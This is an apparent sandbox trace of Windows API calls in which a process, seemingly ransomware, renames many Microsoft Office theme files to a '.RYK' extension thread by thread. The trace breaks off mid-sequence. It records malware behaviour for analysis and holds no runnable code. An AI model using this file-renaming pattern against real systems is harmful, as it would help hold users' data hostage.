	[0270.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.074] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3706
	os_tid = 0x3f80

	[0270.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx", dwFileAttributes=0x80) returned 0
	[0270.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.076] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3707
	os_tid = 0x3f84

	[0270.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx", dwFileAttributes=0x80) returned 0
	[0270.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.078] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.078] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3708
	os_tid = 0x3f88

	[0270.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx", dwFileAttributes=0x80) returned 0
	[0270.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.079] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3709
	os_tid = 0x3f8c

	[0270.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx", dwFileAttributes=0x80) returned 0
	[0270.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.081] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3710
	os_tid = 0x3f90

	[0270.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx", dwFileAttributes=0x80) returned 0
	[0270.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.083] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.083] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3711
	os_tid = 0x3f94

	[0270.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx", dwFileAttributes=0x80) returned 0
	[0270.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.085] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3712
	os_tid = 0x3f98

	[0270.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx", dwFileAttributes=0x80) returned 0
	[0270.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.414] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3713
	os_tid = 0x3fa0


Thread:
	id = 3714
	os_tid = 0x3fa4

	[0270.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx", dwFileAttributes=0x80) returned 0
	[0270.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.430] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3715
	os_tid = 0x3fa8

	[0270.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx", dwFileAttributes=0x80) returned 0
	[0270.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.446] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.446] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3716
	os_tid = 0x3fac

	[0270.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx", dwFileAttributes=0x80) returned 0
	[0270.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.462] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3717
	os_tid = 0x3fb0

	[0270.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx", dwFileAttributes=0x80) returned 0
	[0270.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.477] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.478] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3718
	os_tid = 0x3fb4

	[0270.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx", dwFileAttributes=0x80) returned 0
	[0270.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.493] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3719
	os_tid = 0x3fb8

	[0270.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx", dwFileAttributes=0x80) returned 0
	[0270.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.509] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.509] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3720
	os_tid = 0x3fbc

	[0270.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx", dwFileAttributes=0x80) returned 0
	[0270.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3721
	os_tid = 0x3fc0

	[0270.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx", dwFileAttributes=0x80) returned 0
	[0270.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.540] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3722
	os_tid = 0x3fc4

	[0270.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx", dwFileAttributes=0x80) returned 0
	[0270.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.555] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.555] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3723
	os_tid = 0x3fc8

	[0270.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx", dwFileAttributes=0x80) returned 0
	[0270.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.570] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3724
	os_tid = 0x3fcc

	[0270.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx", dwFileAttributes=0x80) returned 0
	[0273.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.618] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0273.618] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3725
	os_tid = 0x3fd0

	[0270.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx", dwFileAttributes=0x80) returned 0
	[0273.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.620] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0273.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3726
	os_tid = 0x3fd4

	[0270.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx", dwFileAttributes=0x80) returned 0
	[0273.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.630] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0273.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3727
	os_tid = 0x3fd8

	[0270.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml", dwFileAttributes=0x80) returned 0
	[0273.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.694] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0273.694] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3728
	os_tid = 0x3fdc

	[0270.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml", dwFileAttributes=0x80) returned 0
	[0270.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.645] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3729
	os_tid = 0x3fe0

	[0270.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml", dwFileAttributes=0x80) returned 0
	[0273.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.696] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0273.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3730
	os_tid = 0x3fe4

	[0270.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml", dwFileAttributes=0x80) returned 0
	[0270.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.647] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.647] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3731
	os_tid = 0x3fe8

	[0270.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml", dwFileAttributes=0x80) returned 0
	[0273.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0273.704] CloseHandle (hObject=0xffffffffffffffff) returned 0
